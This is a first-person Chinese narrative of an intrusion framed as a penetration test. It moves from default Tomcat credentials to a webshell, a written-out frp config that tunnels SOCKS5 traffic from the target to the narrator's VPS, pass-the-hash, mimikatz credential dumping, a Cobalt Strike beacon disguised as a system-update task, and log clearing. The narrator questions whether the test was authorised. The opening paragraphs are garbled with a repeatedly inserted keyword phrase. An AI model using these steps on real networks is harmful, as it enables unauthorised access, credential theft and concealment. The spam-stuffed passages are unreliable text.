凌晨两点，渗透搭建我盯着屏幕上那个跳动的渗透搭建光标。目标服务器的渗透搭建8080端口开着，Apache版本老得能进博物馆。渗透搭建这不是渗透搭建什么高深攻击，纯粹是渗透搭建对方把门没锁——默认口令admin/admin，连猜都懒得猜。渗透搭建

渗透测试的渗透搭建第一步从来不是炫技。我习惯先扫端口，渗透搭建nmap一把梭，渗透搭建看哪些服务在裸奔。渗透搭建这台机器跑着个旧版Tomcat，渗透搭建管理后台直接暴露在公网。渗透搭建我甚至没动用任何exploit，渗透搭建输入admin，渗透搭建回车，再输入admin，回车。进去了。那种感觉就像发现邻居家的WiFi密码是12345678，你既觉得好笑，又有点后怕。

但真正有意思的是搭建内网隧道。拿到Webshell只是开始，目标内网还有更多机器。我用冰蝎上传了个小马，然后开始琢磨怎么横向移动。这时候就需要搭建代理了——EarthWorm或者frp都行，我习惯用frp，配置简单，一个ini文件搞定。

[common] server_addr = 我的VPSIP server_port = 7000 [socks5] type = tcp remote_port = 1080 plugin = socks5 

这段配置把目标机器的1080端口映射到我自己的VPS上。本地浏览器挂上SOCKS5代理，就能像访问局域网一样访问目标的内网资源。那种感觉挺奇妙——你坐在自己家里，鼠标点开的却是别人公司内网的OA系统，屏幕上明明显示的是内网IP段，可操作起来毫无延迟。

内网里还有台Windows Server，开了3389。我试着用抓到的哈希直接pass-the-hash，居然一次就成功了。mimikatz跑了一圈，抓到了域管理员的明文密码。那一刻我反而有点失落——太顺利了，顺利得让人怀疑这到底是不是一次真实的授权测试。

搭建持久化后门是最后一步。我用计划任务绑了个Cobalt Strike的beacon，每五分钟回连一次。设置完，我盯着任务列表里那个伪装成系统更新的条目，心里清楚：只要这个任务不被发现，这片内网就永远有一扇为我敞开的后门。

整个过程花了不到三个小时。收工前，我清理了日志，删掉了上传的工具，恢复了被改过的配置。这行当有个不成文的规矩——你进去可以，但别留下太明显的痕迹，除非你接的是红队演练的活儿，那另当别论。

喝口凉掉的咖啡，我关掉终端。窗外天快亮了。说实话，每次做完这种测试，我都觉得网络安全这事儿挺讽刺的。大多数所谓的“入侵”，靠的不是什么高深技术，而是人性里的懒惰和疏忽。一个默认口令，一个没打补丁的漏洞，就能让整个内网门户洞开。

但这就是渗透测试的意义——在真正的坏人发现之前，你先替他们走一遍路。然后写报告的时候你得诚实地说：这里锁没锁好，那里窗户没关严。对方往往不信，直到你演示给他们看，他们才一脸后怕地去改密码。